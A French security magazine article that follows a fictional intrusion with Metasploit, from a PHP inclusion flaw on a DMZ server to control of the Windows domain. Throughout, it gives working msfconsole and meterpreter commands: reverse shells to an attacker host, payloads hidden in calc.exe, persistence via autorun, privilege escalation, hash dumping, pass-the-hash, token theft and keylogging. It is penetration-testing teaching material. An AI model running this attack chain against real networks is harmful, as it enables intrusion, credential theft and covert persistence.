Le framework metasploit

Magazine
Marque
MISC
Numéro
52
Mois de parution
novembre 2010
Spécialité(s)


Résumé

Le framework metasploit a bien évolué et est de plus en plus utilisé depuis la version Perl sortie en 2003. Nous allons ici présenter des fonctionnalités de cet outil avec comme fil rouge une intrusion fictive.


Body

1. Introduction

Metasploit est un framework libre d’exploitation de vulnérabilités facilitant la pré-exploitation (recherche de bugs, écriture d’exploits ou de shellcodes, …), l’exploitation (envoi de l’exploit) et la post-exploitation (exécution de code arbitraire, accès à des fichiers, injection de serveur VNC, …). Créé en 2003 par HD Moore, cet outil n'a cessé d'évoluer, notamment grâce à la communauté qui s'est formée autour de lui.

Ce framework se décompose en plusieurs parties : des interfaces (msfconsole, msfgui, …), des modules (exploits, payloads, scanners, …) et des scripts pour le meterpreter. Ce dernier se présente sous la forme d'un shell offrant de nombreuses fonctionnalités et permet via des scripts Ruby d’ajouter celles qui pourraient venir à manquer.

Étant donné la quantité de possibilités offertes, nous ne pouvons tout présenter. Nous étudions certaines fonctionnalités utilisées dans le cadre d'une intrusion fictive.

2. Attaque d'un serveur Windows en DMZ

2.1 Exploitation d'une vulnérabilité de type inclusion de fichier

Dans cette intrusion fictive, le point d'entrée est un serveur Windows se situant dans la DMZ. Ce dernier héberge un site en PHP vulnérable à une faille de type inclusion de fichiers. Le premier réflexe serait de sortir le shell PHP que l'on garde soigneusement au chaud, mais ici déjà, metasploit nous permet d'utiliser un module pour exploiter cette vulnérabilité.

Dans un premier temps, la commande use permet de sélectionner un module à utiliser (back permet de sortir de ce module). Une fois le module chargé, les variables utilisées (ici phpuri, rhost, payload et lhost) doivent être initialisées à l'aide de la commande set. Finalement, la commande exploit déchaîne les enfers^x^x exécute le module.

msf > use exploit/unix/webapp/php_include

msf exploit(php_include) > set phpuri /index.php?page=XXpathXX

msf exploit(php_include) > set rhost web.test.com

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost base.attacker.com

msf exploit(php_include) > exploit

[*] Started reverse handler on base.attacker.com:4444

[*] Using URL: http://base.attacker.com:8080/fHYxfNlfsyZV

[*] Local IP: http://base.attacker.com:8080/fHYxfNlfsyZV

[*] PHP include server started.

[*] Sending stage (29387 bytes) to 127.0.0.1

[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:59550) at Mon Sep 13 11:59:28 +0200 2010

meterpreter > getuid

Server username: Administrateur (0)

Le meterpreter PHP est un ajout récent au framework. Pour des raisons bien compréhensibles, il ne permet pas d'offrir toutes les fonctionnalités du meterpreter binaire comme l'interaction avec les autres processus du système. En revanche, il permet de manipuler le système de fichiers et donc d'uploader un fichier exécutable et de l'exécuter.

Pour transformer un payload en binaire exécutable, deux binaires sont fournis par metasploit : msfpayload et msfencode. msfpayload génère le bytecode d'un payload dans divers formats (brut, tableau C, Ruby et autres). Dans notre cas, nous utilisons le meterpreter qui se connectera au travers d'un tunnel SSL sur notre poste, ceci afin de passer outre un éventuel firewall. Msfencode permet quant à lui d'effectuer des transformations sur un binaire, comme un encodage du bytecode ou encore l'inclusion du code dans un autre binaire. Dans cet exemple, nous passons par la fonction loop-vbs qui crée un script vbs exécuté à chaque fois que le processus est tué. Au passage, nous incluons le meterpreter dans calc.exe afin de masquer un peu plus l'attaque.

Pour arriver à ce résultat, il suffit d'appeler msfpayload, de passer les bons paramètres et de « piper » la sortie dans msfencode, qui s'occupera de la mise en forme de notre payload.

$ ./msfpayload windows/meterpreter/reverse_https LHOST=base.attacker.com LPORT=443 R |

./msfencode -x calc.exe -t loop-vbs -o final.vbs

Du côté du shell metasploit, il faut mettre en place le listener qui attend une connexion HTTPS d'un meterpreter sur le port 443 :

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https     

msf exploit(handler) > set LPORT 443

msf exploit(handler) > set LHOST base.attacker.com

msf exploit(handler) > exploit -j

[*] HTTPS listener started on http://base.attacker.com:443/

[*] Starting the payload handler...

De retour dans le meterpreter PHP, il reste à uploader le script vbs et à le lancer :

meterpreter > upload /Users/guru/Desktop/final.vbs .

[*] uploading : /Users/guru/Desktop/final.vbs -> .

meterpreter > execute -f final.vbs

2.2 Écoutes sur le réseau

Le site hébergé par le serveur maintenant sous contrôle contient une partie authentifiée. Le module sniffer (fondé sur la bibliothèque dnet [DNET]) du meterpreter écoute les communications sur une interface réseau et récupère ainsi des authentifiants envoyés en clair ou d'autres informations intéressantes.

Tout comme dans le shell metasploit, la commande use charge un module dans le meterpreter. Une fois chargée, la commande help est utilisée pour voir les fonctionnalités ajoutées.

meterpreter > use sniffer

Loading extension sniffer...success.

La commande sniffer_interfaces liste les interfaces utilisables pour l'écoute. Une fois une interface sélectionnée, la capture peut être lancée avec sniffer_start. La commande sniffer_dump récupère un fichier au format pcap des datagrammes capturés.

meterpreter > sniffer_interfaces

1 - 'Connexion r?seau Intel(R) PRO/1000 MT' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

...

meterpreter > sniffer_start 1

[*] Capture started on interface 1 (50000 packet buffer)

meterpreter > sniffer_dump 1 /tmp/capture.pcap

[*] Flushing packet capture buffer for interface 1...

[*] Flushed 15 packets (4504 bytes)

[*] Downloaded 100% (4504/4504)...

[*] Download completed, converting to PCAP...

[*] PCAP file written to /tmp/capture.pcap

meterpreter > sniffer_stop 1

[*] Capture stopped on interface 1

Afin de simplifier l'analyse de la capture, le module psnuffle permet d'analyser le fichier pcap et d'en extraire les authentifiants de manière automatique, un peu à la manière d'un dsniff. À noter que ce module permet également d'écouter le trafic directement depuis la carte réseau.

msf > use sniffer/psnuffle

msf auxiliary(psnuffle) > set PCAPFILE /tmp/capture.pcap

msf auxiliary(psnuffle) > set RHOST 0.0.0.0

msf auxiliary(psnuffle) > exploit

[*] Loaded protocol FTP from /opt/metasploit/data/exploits/psnuffle/ftp.rb...

[*] Loaded protocol IMAP from /opt/metasploit/data/exploits/psnuffle/imap.rb...

[*] Loaded protocol POP3 from /opt/metasploit/data/exploits/psnuffle/pop3.rb...

[*] Loaded protocol URL from /opt/metasploit/data/exploits/psnuffle/url.rb...

[*] Sniffing traffic.....

[*] Successful FTP Login: 192.168.145.22:21-192.168.122.10:50117 >> bofh / bofh (220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready )

[*] Finished sniffing

Dans la capture produite, une connexion à un serveur FTP situé dans le LAN a été capturée. En plus d'obtenir des authentifiants, elle montre qu'une version vulnérable de WAR-FTPD est en écoute sur ce système Windows.

Une autre connexion sur un service vulnérable (samba 3.0.20) présent sur le serveur linux.test.internal a également été découverte en analysant la capture à l'aide de Wireshark et est exploitée pour obtenir un accès en tant que l'utilisateur root sur ce serveur.

pcap_smb_version-1

Fig. 1 : capture de la version du service vulnérable

msf > use multi/samba/usermap_script

msf exploit(usermap_script) > set rhost linux.test.internal

rhost => 192.168.145.145

msf exploit(usermap_script) > set payload cmd/unix/bind_perl

payload => cmd/unix/bind_perl

msf exploit(usermap_script) > exploit

[*] Started bind handler

[*] Command shell session 7 opened (192.168.145.1:50890 -> linux.test.internal:4444) at Mon Sep 27 14:38:02 +0200 2010

whoami

root

2.3 Pivot

Les deux hôtes vulnérables se situant dans le LAN protégé par un firewall, il est impossible de les attaquer directement. Là encore, comme les autres frameworks d'exploitation, metasploit peut pivoter à partir d'une machine compromise. Ce pivot (commande route) route les commandes exécutées depuis metasploit à travers une session préalablement ouverte.

La session en cours est passée en tâche de fond ([Ctrl] + [Z]) afin de créer le tunnel puis exploiter la vulnérabilité.

meterpreter >

Background session 4? [y/N] y

msf exploit(handler) > route add 192.168.145.0 255.255.255.0 4

msf exploit(handler) > use exploit/windows/ftp/warftpd_165_user

msf exploit(warftpd_165_user) > set rhost 192.168.145.22

msf exploit(warftpd_165_user) > set payload windows/meterpreter/reverse_https

msf exploit(warftpd_165_user) > set lport 8443

msf exploit(warftpd_165_user) > exploit

Le serveur Windows du LAN est maintenant sous contrôle à son tour.

Le serveur Linux sera compromis de la même façon, à la différence qu'une version complète de metasploit sera uploadée pour s'en servir, si besoin, plus tard.

3. Attaque du LAN

3.1 Mise en place d'une connexion persistante

Maintenant qu'un shell est accessible sur un serveur Windows du LAN, il est intéressant de le transformer en accès persistant afin d'y accéder sans exploiter la vulnérabilité une nouvelle fois (si elle est encore présente) et avoir un accès direct à ce serveur. Pour ce faire, le script persistence installe un meterpreter chargé par un service Windows. Ici, il été modifié afin d'utiliser le payload windows/meterpreter/reverse_https.

meterpreter > run persistence_https -X -i 5 -p 443 -r base.attacker.com

[*] Creating a persistent agent: LHOST=base.attacker.com LPORT=443 (interval=5 onboot=true)

[*] Persistent agent script is 609377 bytes long

[*] Uploaded the persistent agent to C:\...\EgcwcguAjH.vbs

[*] Agent executed with PID 1900

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\zqYcEUQUwNcdg

[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\zqYcEUQUwNcdg

Sur le serveur contrôlé par les attaquants, un handler écoutant sur le port 443 doit être mis en place afin de recevoir la demande de connexion émise par le serveur compromis :

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_https

payload => windows/meterpreter/reverse_https

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set LHOST base.attacker.com

LHOST => base.attacker.com

msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://base.attacker.com:443/

[*] Starting the payload handler...

[*] 192.168.145.22:1031 Request received for /A9ueO...

[*] 192.168.145.22:1031 Staging connection for target 9ueO received...

[*] Patching Target ID 9ueO into DLL

[*] 192.168.145.22:1034 Request received for /A9ueO...

[*] 192.168.145.22:1034 Staging connection for target 9ueO received...

[*] Patching Target ID 9ueO into DLL

[*] 192.168.145.22:1035 Request received for /B9ueO...

[*] 192.168.145.22:1035 Stage connection for target 9ueO received...

[*] Meterpreter session 5 opened (base.attacker.com:443 -> 192.168.145.22:1035) at Fri Sep 10 15:44:01 +0200 2010

3.2 Élévation de privilèges

Certains exploits ne permettent pas d'obtenir directement les privilèges LOCAL SYSTEM, comme ici, où l'exploit donne un accès en tant qu'administrateur local. Un tel accès est nécessaire afin d'accéder à des points clés du système, comme les ruches SAM et Security. Le module priv exploite diverses techniques afin d'obtenir plus de privilèges via la commande getsystem. Toutes ces techniques, exceptée Kitrap0d, nécessitent l'obtention des droits d'administrateur local.

Deux de ces méthodes reposent sur la fonction Advapi32!ImpersonateNamedPipeClient qui permet d'usurper l'identité d'un processus se connectant à un tube nommé créé depuis le processus ayant les droits administrateur local. La première crée un service qui exécute un cmd.exe se connectant au tube nommé et la seconde utilise une bibliothèque qui se charge en tant que service. Cette dernière a l'inconvénient de créer un fichier sur le disque dur.

La méthode suivante nécessite, en plus des droits d'administrateur local, les droits SeDebugPrivilege. Dans la pratique, il est plutôt rare d'avoir un compte administrateur local sans ces droits étant donné qu'il peut se les attribuer. La méthode Reflective DLL Injection [LOADR] est utilisée afin de charger une bibliothèque dans le contexte d'un service. Cette dernière duplique son jeton (advapi32!OpenProcessToken et advapi32!DuplicateTokenEx) et l'applique au thread dans lequel tourne le meterpreter(advapi32!SetThreadToken).

Une vulnérabilité dans le sous-système NTVDM est exploitée dans la dernière méthode. Découverte par Tavis Ormandy [NTVDM], elle exécute du code dans le ring0 depuis un processus (ring3). Une fois dans le contexte du kernel, les jetons d'accès des processus contenant le meterpreter et SYSTEM sont recherchés via nt!PsLookupProcessByProcessId et nt!PsReferencePrimaryToken et celui du meterpreter est modifié pour lui donner les droits LOCAL SYSTEM.

meterpreter > use priv

Loading extension priv...success.

meterpreter > getsystem

...got system (via technique 1).

3.3 Compromission d'autres machines du LAN

3.3.1 Récupération des condensats LM et NTLM

Lors de la compromission d'une machine sous Windows, la récupération des condensats LM et NTLM est une aide précieuse pour l'attaque d'autres hôtes (réutilisation de mot de passe). Le framework fournit deux méthodes pour récupérer ces précieux condensats.

Le module priv dump, via la commande hashump, les condensats LM et NTLM. Cette méthode repose sur le même procédé que pwdump afin de récupérer les condensats sur un système démarré pour contourner le chiffrement des ruches par la SYSKEY. Après élévation de privilèges en tant que LOCAL SYSTEM, la bibliothèque samsrv.dll est chargée et les fonctions donnant accès aux condensats sont appelées (samsrv!{SamrOpenDomain, SamrEnumerateUsersInDomain, SamrOpenUser, SamrQueryInformationUser, …}).

L'alternative à cette méthode est l'utilisation du script hashdump. Ce dernier récupère la bootkey depuis les clés SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data},la remet dans l'ordre, puis l'utilise pour déchiffrer les condensats des utilisateurs, stockés dans la base des registres.

meterpreter > use priv

Loading extension priv...success.

meterpreter > hashdump

Administrateur:500:e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx:::

L'utilisation de la commande hashdump n'est pas très furtive, et de nombreux antivirus et HIDS détectent les injections de code au sein de LSASS.EXE, ce qui peut provoquer un crash de ce dernier et par la même occasion, un reboot du serveur victime. Plutôt que de désactiver l'antivirus (le script killav du meterpreter le fait plutôt bien), il est préférable d'utiliser la seconde méthode, qui consiste justement à utiliser des appels système « légitimes » afin de ne pas mettre en péril le fonctionnement du serveur.

À noter, en outre, que la commande hashdump du module priv peut être exécutée en tant qu'administrateur local du poste visé, alors que le script nécessite quant à lui obligatoirement les privilèges SYSTEM.

3.3.2 Réutilisation des condensats

À partir du moment où les condensats LM et NTLM sont à disposition, le premier réflexe est de sortir les rainbowtables pour les casser. Heureusement, comme bien souvent rappelé sur certains blogs au milieu d'autres échecs de la sécurité, le mécanisme d'authentification de Windows souffre d'un problème permettant de se connecter à distance à une machine sans avoir à casser le condensat. Cette attaque, nommée pass the hash [PSHTK] est implémentée dans metasploit afin de l'utiliser dans différents modules liés au protocole SMB. Dans un premier temps, la recherche des hôtes accessibles est réalisée à l'aide du module smb_login, puis le module psexec sera utilisé pour avoir une invite de commandes sur les serveurs.

Le module smb_login tente simplement de se connecter sur le service SMB d'une liste de machines. Ici, le serveur du LAN sert de pivot afin d'utiliser les modules de metasploit contre les machines se trouvant de son côté du firewall.

> route add 192.168.145.0 255.255.255.0 5

> use auxiliary/scanner/smb/smb_login

> set smbdomain .

> set smbuser administrateur

> set smbpass e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx

> set rhosts 192.168.145.0/24

> run

[*] Starting SMB login attempt on 192.168.145.0

[+] 192.168.145.33 - SUCCESSFUL LOGIN (Windows Server 2003 R2 3790 Service Pack 2) 'administrateur' : 'e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx'

Le binaire psexec est souvent utilisé lors des tests de pénétration dans le but d'avoir une invite de commandes sur un système pour lequel les authentifiants sont connus. Comme toute bonne trousse à outils, metasploit intègre un module reposant sur psexec et charge un meterpreter sur ces machines.

> use exploit/windows/smb/psexec

> set payload windows/meterpreter/bind_tcp

> set lport 1337

> set rhost 192.168.145.33

> exploit

[*] Connecting to the server...

[*] Started bind handler

[*] Authenticating as user 'administrateur'...

[*] Uploading payload...

...

[*] Meterpreter session 8 opened...

À noter que si le condensat LM n'est pas disponible, il faut le remplacer par 32 '0' au moment de donner une valeur à la variable smbpass.

3.3.3 Jetons d'accès

Ayant gagné un accès à un nouveau serveur du LAN, la commande list_tokens du module incognito liste les utilisateurs connectés. Ce module manipule les jetons d'accès générés au moment où une session interactive est initiée (console, une session RDP ou lors d'un accès à un serveur de fichiers chiffré, par exemple).

La liste des jetons d'accès est obtenue via NtQuerySystemInformation, avec comme argument SystemHandleInformation, puis pour chaque processus, la fonction NtQueryObject est utilisée pour récupérer les objets ayant pour type Token. Pour l'affichage, le nom correspondant à un jeton est retourné par un appel à la fonction advapi32!LookupAccountSidA.

meterpreter > use incognito

Loading extension incognito...success.

meterpreter > list_tokens -u

Delegation Tokens Available

========================================

AUTORITE NT\SERVICE LOCAL

AUTORITE NT\SERVICE RESEAU

AUTORITE NT\SYSTEM

TEST\Administrateur

Impersonation Tokens Available

========================================

AUTORITE NT\ANONYMOUS LOGON

Par chance, l'administrateur du domaine est également connecté sur cette machine. La commande snarf_hashes empreinte l'identité des jetons disponible afin d'initier une connexion sur un serveur SMB. En utilisant le second serveur du LAN compromis au préalable (linux.test.internal), il est possible de lancer le module auxiliary/server/capture/smb, qui envoie toujours le même challenge lors d'une connexion (\x11\x22\x33\x44\x55\x66\x77\x88) afin d'utiliser des tables HALFLM pour retrouver les mots de passe plus rapidement.

Sur le serveur Linux compromis un peu plus tôt (linux.test.internal) :

$ ./msfconsole

> use auxiliary/server/capture/smb

msf auxiliary(smb) > run

Puis, sur le dernier serveur Windows compromis :

meterpreter > snarf_hashes linux.test.internal

[*] Snarfing token hashes...

Ce qui donne les condensats LM de l'administrateur du domaine depuis le serveur Linux.

[*] Captured 127.0.0.1:50863 TEST\Administrateur LMHASH:52cb0e0xxe1e216509bc0268d91ee187d5f4a3dad8f5adxx NTHASH:52cb0e0xxe1e216509bc0268d91ee187d5f4a3dad8f5adxx OS:Windows Server 2003 R2 3790 Service Pack 2 LM:

Une autre solution consiste à usurper l'identité TEST\Administrateur afin d'ajouter un compte faisant partie du groupe d'administrateurs du domaine via les commandes add_user et add_group_user du module incognito.

3.4 Récupération d'informations

3.4.1 Keylogging

Maintenant que le domaine est sous contrôle, vient le moment de récupérer des informations. Le framework dispose ici encore de modules pratiques pour ce cas. Afin de gagner des accès à d'autres applications (web ou bases de données SQL, par exemple), il est intéressant de capturer les frappes des utilisateurs. Le script keylogrecorder récupère les frappes d'un utilisateur sur le bureau ou dans winlogon, lancé dans une session séparée afin d'empêcher l'utilisation d'un keylogger classique. Il utilise la fonctionnalité de migration du meterpreter afin de capturer les touches dans winlogon (migration dans le processus winlogon). La récupération des touches est réalisée en appelant la fonction user32!GetAsyncKeyState.

meterpreter > bgrun keylogrecorder -c 0 -t 15

[*] Executed Meterpreter with Job ID 0

[*] explorer.exe Process found, migrating into 1148

[*] Migration Successful!!

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /Users/.../192.168.145.33_20100914.3309.txt

[*] Recording

Le commutateur -l du script verrouille l'écran de l'utilisateur afin de l'obliger à entrer son mot de passe. Cette fonctionnalité repose sur l'utilisation de l'extension railgun. Cette dernière offre un accès direct à l'API Windows depuis le shell Ruby. Le code pour verrouiller l'écran est équivalent au suivant :

meterpreter> irb

>> client.core.use('railgun')

>> client.railgun.user32.LockWorkStation()

De même, il est possible d'utiliser d'autres bibliothèques dans railgun en les chargeant, puis en définissant les fonctions, comme :

>> client.railgun.add_dll('shell32','c:\\windows\\system32\\shell32.dll')

>> client.railgun.add_function('shell32', 'IsUserAnAdmin', 'BOOL', [])

>> client.railgun.shell32.IsUserAnAdmin()

3.4.2 Récupération de fichiers

Lors d'une intrusion, il est intéressant de récupérer des fichiers afin de glaner davantage d'informations. Depuis peu, il est possible de rechercher des fichiers depuis le meterpreter via la très récente commande search :

meterpreter > search -f *.pdf

Found 241 results...

    c:\documents and settings\...\network_diagram.pdf (44101 bytes)

...

    z:\\local\scapy-2.0.1\...\scapy-concept.pdf (7842 bytes)

Une fois les fichiers intéressants localisés, il est possible de les télécharger avec la commande download :

meterpreter > download c:\documents and settings\...\network_diagram.pdf /tmp/diagram.pdf

La fonction search recherche également sur Windows Vista, 7 et 2008, via les services d'indexation de Windows, dans l'historique du navigateur ainsi que dans les e-mails de l'utilisateur, en spécifiant iehistory pour l'historique et mapi pour les mails.

Conclusion

Il est difficile de présenter toutes les utilisations du framework metasploit tant le sujet est vaste et en mouvement (modules spécifiques au wifi, payloads pour OS mobiles, attaques client-side, …) et des sites de références permettent de suivre l'évolution du framework ([OFFSEC], [BLOG1] et [BLOG2]). L'exemple décrit ici montre en cas d'utilisation de metasploit des portes de la DMZ jusqu'au cœur du domaine Windows. À noter que metasploit est également utilisable depuis des terminaux mobiles comme les iPhones ou le N900, et de ce fait, cette attaque pourrait être exécutée depuis un café.

Nous tenons à préciser qu'aucun administrateur système n'a été blessé dans le cadre de cette intrusion fictive.

Références

[DNET] http://code.google.com/p/libdnet/

[LOADR] http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf

[NTVDM] http://seclists.org/fulldisclosure/2010/Jan/341

[PSHTK] http://oss.coresecurity.com/projects/pshtoolkit.htm

[TOKEN] http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

[OFFSEC] http://www.offensive-security.com/metasploit-unleashed/

[BLOG1] http://www.room362.com/

[BLOG2] http://carnal0wnage.blogspot.com/

 



Article rédigé par

Par le(s) même(s) auteur(s)

Introduction au reverse engineering d'applications iOS

Magazine
Marque
MISC
Numéro
57
Mois de parution
septembre 2011
Spécialité(s)
Résumé

La prolifération des équipements sous iOS et leur utilisation dans la vie privée en font une cible de plus en plus intéressante pour les auteurs de code malveillant. Il est ainsi intéressant d'étudier le fonctionnement des applications afin de s'assurer qu'elles protègent au mieux les données ou n'effectuent pas d'opérations malveillantes.

Fuzzing tout en mémoire

Magazine
Marque
MISC
Numéro
48
Mois de parution
mars 2010
Spécialité(s)
Résumé

Plus une conférence de sécurité ne passe sans une présentation ayant pour thème le fuzzing. Cette méthode de recherche de vulnérabilités par injection de fautes est en effet de plus en plus utilisée et croît en complexité au niveau de l'algorithme de génération ou mutation des données (sauf exceptions comme le fuzzer à l'origine de la MS09-050 [SMB2]).

Les derniers articles Premiums

Les derniers articles Premium

PostgreSQL au centre de votre SI avec PostgREST

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Dans un système d’information, il devient de plus en plus important d’avoir la possibilité d’échanger des données entre applications. Ce passage au stade de l’interopérabilité est généralement confié à des services web autorisant la mise en œuvre d’un couplage faible entre composants. C’est justement ce que permet de faire PostgREST pour les bases de données PostgreSQL.

La place de l’Intelligence Artificielle dans les entreprises

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

L’intelligence artificielle est en train de redéfinir le paysage professionnel. De l’automatisation des tâches répétitives à la cybersécurité, en passant par l’analyse des données, l’IA s’immisce dans tous les aspects de l’entreprise moderne. Toutefois, cette révolution technologique soulève des questions éthiques et sociétales, notamment sur l’avenir des emplois. Cet article se penche sur l’évolution de l’IA, ses applications variées, et les enjeux qu’elle engendre dans le monde du travail.

Petit guide d’outils open source pour le télétravail

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Ah le Covid ! Si en cette période de nombreux cas resurgissent, ce n’est rien comparé aux vagues que nous avons connues en 2020 et 2021. Ce fléau a contraint une large partie de la population à faire ce que tout le monde connaît sous le nom de télétravail. Nous avons dû changer nos habitudes et avons dû apprendre à utiliser de nombreux outils collaboratifs, de visioconférence, etc., dont tout le monde n’était pas habitué. Dans cet article, nous passons en revue quelques outils open source utiles pour le travail à la maison. En effet, pour les adeptes du costume en haut et du pyjama en bas, la communauté open source s’est démenée pour proposer des alternatives aux outils propriétaires et payants.

Sécurisez vos applications web : comment Symfony vous protège des menaces courantes

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Les frameworks tels que Symfony ont bouleversé le développement web en apportant une structure solide et des outils performants. Malgré ces qualités, nous pouvons découvrir d’innombrables vulnérabilités. Cet article met le doigt sur les failles de sécurité les plus fréquentes qui affectent même les environnements les plus robustes. De l’injection de requêtes à distance à l’exécution de scripts malveillants, découvrez comment ces failles peuvent mettre en péril vos applications et, surtout, comment vous en prémunir.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 68 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous